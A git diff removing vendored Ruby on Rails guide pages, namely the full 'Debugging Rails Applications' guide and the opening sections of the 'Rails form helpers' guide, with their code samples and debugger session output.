- - diff --git a/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html b/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html deleted file mode 100644 index 07557b9e..00000000 --- a/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html +++ /dev/null @@ -1,992 +0,0 @@ - - - - - Debugging Rails Applications - - - - - - - - -
- - - -
-

Debugging Rails Applications

-
-
-

This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:

-
    -
  • -

    -Understand the purpose of debugging -

    -
    • -
  • -

    -Track down problems and issues in your application that your tests aren’t identifying -

    -
    • -
  • -

    -Learn the different ways of debugging -

    -
    • -
  • -

    -Analyze the stack trace -

    -
    • -
-
-
-

1. View Helpers for Debugging

-
-

One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:

-
    -
  • -

    -debug -

    -
    • -
  • -

    -to_yaml -

    -
    • -
  • -

    -inspect -

    -
    • -
-

1.1. debug

-

The debug helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:

-
-
-
<%= debug @post %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-

You’ll see something like this:

-
-
-
--- !ruby/object:Post
-attributes:
-  updated_at: 2008-09-05 22:55:47
-  body: It's a very helpful guide for debugging your Rails app.
-  title: Rails debugging guide
-  published: t
-  id: "1"
-  created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-
-Title: Rails debugging guide
-
-

1.2. to_yaml

-

Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:

-
-
-
<%= simple_format @post.to_yaml %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-

The to_yaml method converts the method to YAML format leaving it more readable, and then the simple_format helper is used to render each line as in the console. This is how debug method does its magic.

-

As a result of this, you will have something like this in your view:

-
-
-
--- !ruby/object:Post
-attributes:
-updated_at: 2008-09-05 22:55:47
-body: It's a very helpful guide for debugging your Rails app.
-title: Rails debugging guide
-published: t
-id: "1"
-created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-Title: Rails debugging guide
-
-

1.3. inspect

-

Another useful method for displaying object values is inspect, especially when working with arrays or hashes. This will print the object value as a string. For example:

-
-
-
<%= [1, 2, 3, 4, 5].inspect %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-

Will be rendered as follows:

-
-
-
[1, 2, 3, 4, 5]
-
-Title: Rails debugging guide
-
-

1.4. Debugging Javascript

-

Rails has built-in support to debug RJS, to active it, set ActionView::Base.debug_rjs to true, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).

-

To enable it, add the following in the Rails::Initializer do |config| block inside environment.rb:

-
-
-
config.action_view[:debug_rjs] = true
-

Or, at any time, setting ActionView::Base.debug_rjs to true:

-
-
-
ActionView::Base.debug_rjs = true
-
- - - -
-Tip -For more information on debugging javascript refer to Firebug, the popular debugger for Firefox.
-
-
-

2. The Logger

-
-

It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.

-

2.1. What is The Logger?

-

Rails makes use of Ruby’s standard logger to write log information. You can also substitute another logger such as Log4R if you wish.

-

You can specify an alternative logger in your environment.rb or any environment file:

-
-
-
ActiveRecord::Base.logger = Logger.new(STDOUT)
-ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
-

Or in the Initializer section, add any of the following

-
-
-
config.logger = Logger.new(STDOUT)
-config.logger = Log4r::Logger.new("Application Log")
-
- - - -
-Tip -By default, each log is created under RAILS_ROOT/log/ and the log file name is environment_name.log.
-
-

2.2. Log Levels

-

When something is logged it’s printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the ActiveRecord::Base.logger.level method.

-

The available log levels are: :debug, :info, :warn, :error, and :fatal, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use

-
-
-
config.log_level = Logger::WARN # In any environment initializer, or
-ActiveRecord::Base.logger.level = 0 # at any time
-

This is useful when you want to log under development or staging, but you don’t want to flood your production log with unnecessary information.

-
- - - -
-Tip -The default Rails log level is info in production mode and debug in development and test mode.
-
-

2.3. Sending Messages

-

To write in the current log use the logger.(debug|info|warn|error|fatal) method from within a controller, model or mailer:

-
-
-
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
-logger.info "Processing the request..."
-logger.fatal "Terminating application, raised unrecoverable error!!!"
-

Here’s an example of a method instrumented with extra logging:

-
-
-
class PostsController < ApplicationController
-  # ...
-
-  def create
-    @post = Post.new(params[:post])
-    logger.debug "New post: #{@post.attributes.inspect}"
-    logger.debug "Post should be valid: #{@post.valid?}"
-
-    if @post.save
-      flash[:notice] = 'Post was successfully created.'
-      logger.debug "The post was saved and now is the user is going to be redirected..."
-      redirect_to(@post)
-    else
-      render :action => "new"
-    end
-  end
-
-  # ...
-end
-

Here’s an example of the log generated by this method:

-
-
-
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
-  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
- "published"=>false, "created_at"=>nil}
-Post should be valid: true
-  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now is the user is going to be redirected...
-Redirected to #<Post:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-
-

Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.

-
-

3. Debugging with ruby-debug

-
-

When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.

-

The debugger can also help you if you want to learn about the Rails source code but don’t know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.

-

3.1. Setup

-

The debugger used by Rails, ruby-debug, comes as a gem. To install it, just run:

-
-
-
$ sudo gem install ruby-debug
-

In case you want to download a particular version or get the source code, refer to the project’s page on rubyforge.

-

Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the debugger method.

-

Here’s an example:

-
-
-
class PeopleController < ApplicationController
-  def new
-    debugger
-    @person = Person.new
-  end
-end
-

If you see the message in the console or logs:

-
-
-
***** Debugger requested, but was not available: Start server with --debugger to enable *****
-
-

Make sure you have started your web server with the option --debugger:

-
-
-
~/PathTo/rails_project$ script/server --debugger
-=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
-=> Rails 2.2.0 application starting on http://0.0.0.0:3000
-=> Debugger enabled
-...
-
- - - -
-Tip -In development mode, you can dynamically ‘require 'ruby-debug\’ instead of restarting the server, if it was started without `--debugger.
-
-

In order to use Rails debugging you’ll need to be running either WEBrick or Mongrel. For the moment, no alternative servers are supported.

-

3.2. The Shell

-

As soon as your application calls the debugger method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug’s prompt (rdb:n). The n is the thread number. The prompt will also show you the next line of code that is waiting to run.

-

If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.

-

For example:

-
-
-
@posts = Post.find(:all)
-(rdb:7)
-
-

Now it’s time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: help (You didn’t see that coming, right?)

-
-
-
(rdb:7) help
-ruby-debug help v0.10.2
-Type 'help <command-name>' for help on a specific command
-
-Available commands:
-backtrace  delete   enable  help    next  quit     show    trace
-break      disable  eval    info    p     reload   source  undisplay
-catch      display  exit    irb     pp    restart  step    up
-condition  down     finish  list    ps    save     thread  var
-continue   edit     frame   method  putl  set      tmate   where
-
-
- - - -
-Tip -To view the help menu for any command use help <command-name> in active debug mode. For example: +help var+
-
-

The next command to learn is one of the most useful: list. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use l for the list command.

-

This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by =>.

-
-
-
(rdb:7) list
-[1, 10] in /PathToProject/posts_controller.rb
-   1  class PostsController < ApplicationController
-   2    # GET /posts
-   3    # GET /posts.xml
-   4    def index
-   5      debugger
-=> 6      @posts = Post.find(:all)
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.xml  { render :xml => @posts }
-
-

If you repeat the list command, this time using just l, the next ten lines of the file will be printed out.

-
-
-
(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
-   11      end
-   12    end
-   13
-   14    # GET /posts/1
-   15    # GET /posts/1.xml
-   16    def show
-   17      @post = Post.find(params[:id])
-   18
-   19      respond_to do |format|
-   20        format.html # show.html.erb
-
-

And so on until the end of the current file. When the end of file is reached, the list command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.

-

3.3. The Context

-

When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.

-

ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.

-

At any time you can call the backtrace command (or its alias where) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then backtrace will supply the answer.

-
-
-
(rdb:5) where
-    #0 PostsController.index
-       at line /PathTo/project/app/controllers/posts_controller.rb:6
-    #1 Kernel.send
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
-...
-
-

You move anywhere you want in this trace (thus changing the context) by using the frame n command, where n is the specified frame number.

-
-
-
(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-
-

The available variables are the same as if you were running the code line by line. After all, that’s what debugging is.

-

Moving up and down the stack frame: You can use up [n] (u for abbreviated) and down [n] commands in order to change the context n frames up or down the stack respectively. n defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.

-

3.4. Threads

-

The debugger can list, stop, resume and switch between running threads by using the command thread (or the abbreviated th). This command has a handful of options:

-
    -
  • -

    -thread shows the current thread. -

    -
    • -
  • -

    -thread list is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. -

    -
    • -
  • -

    -thread stop n stop thread n. -

    -
    • -
  • -

    -thread resume n resumes thread n. -

    -
    • -
  • -

    -thread switch n switches the current thread context to n. -

    -
    • -
-

This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.

-

3.5. Inspecting Variables

-

Any expression can be evaluated in the current context. To evaluate an expression, just type it!

-

This example shows how you can print the instance_variables defined within the current context:

-
-
-
@posts = Post.find(:all)
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-
-

As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using next (you’ll learn more about this command later in this guide).

-
-
-
(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
-  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
-  Parameters: {"action"=>"index", "controller"=>"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|
-
-

And then ask again for the instance_variables:

-
-
-
(rdb:11) instance_variables.include? "@posts"
-true
-
-

Now @posts is a included in the instance variables, because the line defining it was executed.

-
- - - -
-Tip -You can also step into irb mode with the command irb (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
-
-

The var method is the most convenient way to show variables and their values:

-
-
-
var
-(rdb:1) v[ar] const <object>            show constants of object
-(rdb:1) v[ar] g[lobal]                  show global variables
-(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
-(rdb:1) v[ar] l[ocal]                   show local variables
-
-

This is a great way to inspect the values of the current context variables. For example:

-
-
-
(rdb:9) var local
-  __dbg_verbose_save => false
-
-

You can also inspect for an object method this way:

-
-
-
(rdb:9) var instance Post.new
-@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
-@attributes_cache = {}
-@new_record = true
-
-
- - - -
-Tip -The commands p (print) and pp (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
-
-

You can use also display to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.

-
-
-
(rdb:1) display @recent_comments
-1: @recent_comments =
-
-

The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use undisplay n where n is the variable number (1 in the last example).

-

3.6. Step by Step

-

Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.

-

Use step (abbreviated s) to continue running your program until the next logical stopping point and return control to ruby-debug.

-
- - - -
-Tip -You can also use step+ n and step- n to move forward or backward n steps respectively.
-
-

You may also use next which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move n steps.

-

The difference between next and step is that step stops at the next line of code executed, doing just a single step, while next moves to the next line without descending inside methods.

-

For example, consider this block of code with an included debugger statement:

-
-
-
class Author < ActiveRecord::Base
-  has_one :editorial
-  has_many :comments
-
-  def find_recent_comments(limit = 10)
-    debugger
-    @recent_comments ||= comments.find(
-      :all,
-      :conditions => ["created_at > ?", 1.week.ago],
-      :limit => limit
-    )
-  end
-end
-
- - - -
-Tip -You can use ruby-debug while using script/console. Just remember to require "ruby-debug" before calling the debugger method.
-
-
-
-
/PathTo/project $ script/console
-Loading development environment (Rails 2.1.0)
->> require "ruby-debug"
-=> []
->> author = Author.first
-=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
->> author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)
-
-

With the code stopped, take a look around:

-
-
-
(rdb:1) list
-[6, 15] in /PathTo/project/app/models/author.rb
-   6      debugger
-   7      @recent_comments ||= comments.find(
-   8        :all,
-   9        :conditions => ["created_at > ?", 1.week.ago],
-   10        :limit => limit
-=> 11      )
-   12    end
-   13  end
-
-

You are at the end of the line, but... was this line executed? You can inspect the instance variables.

-
-
-
(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-
-

@recent_comments hasn’t been defined yet, so it’s clear that this line hasn’t been executed yet. Use the next command to move on in the code:

-
-
-
(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []
-
-

Now you can see that the @comments relationship was loaded and @recent_comments defined because the line was executed.

-

If you want to go deeper into the stack trace you can move single steps, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.

-

3.7. Breakpoints

-

A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.

-

You can add breakpoints dynamically with the command break (or just b). There are 3 possible ways of adding breakpoints manually:

-
    -
  • -

    -break line: set breakpoint in the line in the current source file. -

    -
    • -
  • -

    -break file:line [if expression]: set breakpoint in the line number inside the file. If an expression is given it must evaluated to true to fire up the debugger. -

    -
    • -
  • -

    -break class(.|#)method [if expression]: set breakpoint in method (. and \# for class and instance method respectively) defined in class. The expression works the same way as with file:line. -

    -
    • -
-
-
-
(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-
-

Use info breakpoints n or info break n to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.

-
-
-
(rdb:5) info breakpoints
-Num Enb What
-  1 y   at filters.rb:10
-
-

To delete breakpoints: use the command delete n to remove the breakpoint number n. If no number is specified, it deletes all breakpoints that are currently active..

-
-
-
(rdb:5) delete 1
-(rdb:5) info breakpoints
-No breakpoints.
-
-

You can also enable or disable breakpoints:

-
    -
  • -

    -enable breakpoints: allow a list breakpoints or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. -

    -
    • -
  • -

    -disable breakpoints: the breakpoints will have no effect on your program. -

    -
    • -
-

3.8. Catching Exceptions

-

The command catch exception-name (or just cat exception-name) can be used to intercept an exception of type exception-name when there would otherwise be is no handler for it.

-

To list all active catchpoints use catch.

-

3.9. Resuming Execution

-

There are two ways to resume execution of an application that is stopped in the debugger:

-
    -
  • -

    -continue [line-specification] (or c): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. -

    -
    • -
  • -

    -finish [frame-number] (or fin): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. -

    -
    • -
-

3.10. Editing

-

Two commands allow you to open code from the debugger into an editor:

-
    -
  • -

    -edit [file:line]: edit file using the editor specified by the EDITOR environment variable. A specific line can also be given. -

    -
    • -
  • -

    -tmate n (abbreviated tm): open the current file in TextMate. It uses n-th frame if n is specified. -

    -
    • -
-

3.11. Quitting

-

To exit the debugger, use the quit command (abbreviated q), or its alias exit.

-

A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.

-

3.12. Settings

-

There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:

-
    -
  • -

    -set reload: Reload source code when changed. -

    -
    • -
  • -

    -set autolist: Execute list command on every breakpoint. -

    -
    • -
  • -

    -set listsize n: Set number of source lines to list by default to n. -

    -
    • -
  • -

    -set forcestep: Make sure the next and step commands always move to a new line -

    -
    • -
-

You can see the full list by using help set. Use help set subcommand to learn about a particular set command.

-
- - - -
-Tip -You can include any number of these configuration lines inside a .rdebugrc file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
-
-

Here’s a good start for an .rdebugrc:

-
-
-
set autolist
-set forcestep
-set listsize 25
-
-
-

4. Debugging Memory Leaks

-
-

A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.

-

In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.

-

4.1. BleakHouse

-

BleakHouse is a library for finding memory leaks.

-

If a Ruby object does not go out of scope, the Ruby Garbage Collector won’t sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.

-

To install it run:

-
-
-
sudo gem install bleak_house
-
-

Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:

-
-
-
require 'bleak_house' if ENV['BLEAK_HOUSE']
-

Start a server instance with BleakHouse integration:

-
-
-
RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server
-
-

Make sure to run a couple hundred requests to get better data samples, then press CTRL-C. The server will stop and Bleak House will produce a dumpfile in /tmp:

-
-
-
** BleakHouse: working...
-** BleakHouse: complete
-** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-
-

To analyze it, just run the listed command. The top 20 leakiest lines will be listed:

-
-
-
  191691 total objects
-  Final heap size 191691 filled, 220961 free
-  Displaying top 20 most common line/class pairs
-  89513 __null__:__null__:__node__
-  41438 __null__:__null__:String
-  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
-  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
-  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
-   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
-   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
-   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
-  ...
-
-

This way you can find where your application is leaking memory and fix it.

-

If BleakHouse doesn’t report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.

-

4.2. Valgrind

-

Valgrind is a Linux-only application for detecting C-based memory leaks and race conditions.

-

There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls malloc() but is doesn’t properly call free(), this memory won’t be available until the app terminates.

-

For further information on how to install Valgrind and use with Ruby, refer to Valgrind and Ruby by Evan Weaver.

-
-

5. Plugins for Debugging

-
-

There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:

-
    -
  • -

    -Footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate. -

    -
    • -
  • -

    -Query Trace: Adds query origin tracing to your logs. -

    -
    • -
  • -

    -Query Stats: A Rails plugin to track database queries. -

    -
    • -
  • -

    -Query Reviewer: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. -

    -
    • -
  • -

    -Exception Notifier: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. -

    -
    • -
  • -

    -Exception Logger: Logs your Rails exceptions in the database and provides a funky web interface to manage them. -

    -
    • -
-
-

6. References

-
-
-
-

7. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by Emilio Tagua -

    -
    • -
  • -

    -October 19, 2008: Copy editing pass by Mike Gunderloy -

    -
    • -
  • -

    -September 16, 2008: initial version by Emilio Tagua -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/form_helpers.html b/vendor/rails/railties/doc/guides/html/form_helpers.html deleted file mode 100644 index 2693f29a..00000000 --- a/vendor/rails/railties/doc/guides/html/form_helpers.html +++ /dev/null @@ -1,983 +0,0 @@ - - - - - Rails form helpers - - - - - - - - -
- - - -
-

Rails form helpers

-
-
-

Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.

-

In this guide you will:

-
    -
  • -

    -Create search forms and similar kind of generic forms not representing any specific model in your application -

    -
    • -
  • -

    -Make model-centric forms for creation and editing of specific database records -

    -
    • -
  • -

    -Generate select boxes from multiple types of data -

    -
    • -
  • -

    -Understand the date and time helpers Rails provides -

    -
    • -
  • -

    -Learn what makes a file upload form different -

    -
    • -
  • -

    -Find out where to look for complex forms -

    -
    • -
-
- - - -
-Note -This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit the Rails API documentation for a complete reference.
-
-
-
-

1. Dealing With Basic Forms

-
-

The most basic form helper is form_tag.

-
-
-
<% form_tag do %>
-  Form contents
-<% end %>
-
-

When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability):

-
-
Sample output from form_tag
-
-
<form action="/home/index" method="post">
-  <div style="margin:0;padding:0">
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  Form contents
-</form>
-
-

If you carefully observe this output, you can see that the helper generated something you didn’t specify: a div element with a hidden input inside. This is a security feature of Rails called cross-site request forgery protection and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the Ruby On Rails Security Guide.

-
- - - -
-Note -Throughout this guide, this div with the hidden input will be stripped away to have clearer code samples.
-
-

1.1. A Generic search form

-

Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:

-
    -
  1. -

    -a form element with "GET" method, -

    -
    2. -
  2. -

    -a label for the input, -

    -
    3. -
  3. -

    -a text input element, and -

    -
    4. -
  4. -

    -a submit element. -

    -
    5. -
-
- - - -
-Important -Always use "GET" as the method for search forms. This allows users are able to bookmark a specific search and get back to it, more generally Rails encourages you to use the right HTTP verb for an action.
-
-

To create this form you will use form_tag, label_tag, text_field_tag and submit_tag, respectively.

-
-
A basic search form
-
-
<% form_tag(search_path, :method => "get") do %>
-  <%= label_tag(:q, "Search for:") %>
-  <%= text_field_tag(:q) %>
-  <%= submit_tag("Search") %>
-<% end %>
-
-
- - - -
-Tip - -

search_path can be a named route specified in "routes.rb":

-
-
-
map.search "search", :controller => "search"
-
-
-
-

The above view code will result in the following markup:

-
-
Search form HTML
-
-
<form action="/search" method="get">
-  <label for="q">Search for:</label>
-  <input id="q" name="q" type="text" />
-  <input name="commit" type="submit" value="Search" />
-</form>
-
-

Besides text_field_tag and submit_tag, there is a similar helper for every form control in HTML.

-
- - - -
-Tip -For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-
-

1.2. Multiple hashes in form helper calls

-

By now you’ve seen that the form_tag helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element’s class.

-

As with the ‘link_to` helper, the path argument doesn’t have to be given a string. It can be a hash of URL parameters that Rails’ routing mechanism will turn into a valid URL. Still, you cannot simply write this:

-
-
A bad way to pass multiple hashes as method arguments
-
-
form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
-# => <form action="/people/search?method=get&class=nifty_form" method="post">
-
-

Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The solution is to delimit the first hash (or both hashes) with curly brackets:

-
-
The correct way of passing multiple hashes as arguments
-
-
form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
-# => <form action="/people/search" method="get" class="nifty_form">
-
-

This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.

-
- - - -
-Warning -Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an expecting tASSOC syntax error.
-
-

1.3. Helpers for generating form elements

-

Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons and so. These basic helpers, with names ending in _tag such as text_field_tag, check_box_tag just generate a single <input> element. The first parameter to these is always the name of the input. In the controller, this name will be the key in the params hash used to get the value entered by the user. For example if the form contains

-
-
-
<%= text_field_tag(:query) %>
-
-

then the controller code should use

-
-
-
params[:query]
-
-

to retrieve the value entered by the user. When naming inputs be aware that Rails uses certain conventions that control whether values are at the top level of the params hash, inside an array or a nested hash and so on. You can read more about them in the parameter names section. For details on the precise usage of these helpers, please refer to the API documentation.

-

1.3.1. Checkboxes

-

Checkboxes are form controls that give the user a set of options they can enable or disable:

-
-
-
<%= check_box_tag(:pet_dog) %>
-  <%= label_tag(:pet_dog, "I own a dog") %>
-<%= check_box_tag(:pet_cat) %>
-  <%= label_tag(:pet_cat, "I own a cat") %>
-
-output:
-
-<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
-  <label for="pet_dog">I own a dog</label>
-<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
-  <label for="pet_cat">I own a cat</label>
-
-

The second parameter to check_box_tag is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the params hash). With the above form you would check the value of params[:pet_dog] and params[:pet_cat] to see which pets the user owns.

-

1.3.2. Radio buttons

-

Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):

-
-
-
<%= radio_button_tag(:age, "child") %>
-  <%= label_tag(:age_child, "I am younger than 21") %>
-<%= radio_button_tag(:age, "adult") %>
-  <%= label_tag(:age_adult, "I'm over 21") %>
-
-output:
-
-<input id="age_child" name="age" type="radio" value="child" />
-  <label for="age_child">I am younger than 21</label>
-<input id="age_adult" name="age" type="radio" value="adult" />
-  <label for="age_adult">I'm over 21</label>
-
-

As with check_box_tag the second parameter to radio_button_tag is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and params[:age] will contain either "child" or "adult".

-
- - - -
-Important -Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
-
-

1.3.3. Other helpers of interest

-

Other form controls worth mentioning are the text area, password input and hidden input:

-
-
-
<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
-<%= password_field_tag(:password) %>
-<%= hidden_field_tag(:parent_id, "5") %>
-
-output:
-
-<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
-<input id="password" name="password" type="password" />
-<input id="parent_id" name="parent_id" type="hidden" value="5" />
-
-

Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript.

-
- - - -
-Tip -If you’re using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating filter_parameter_logging(:password) in your ApplicationController.
-
-
-

2. Dealing With Model Objects

-
-
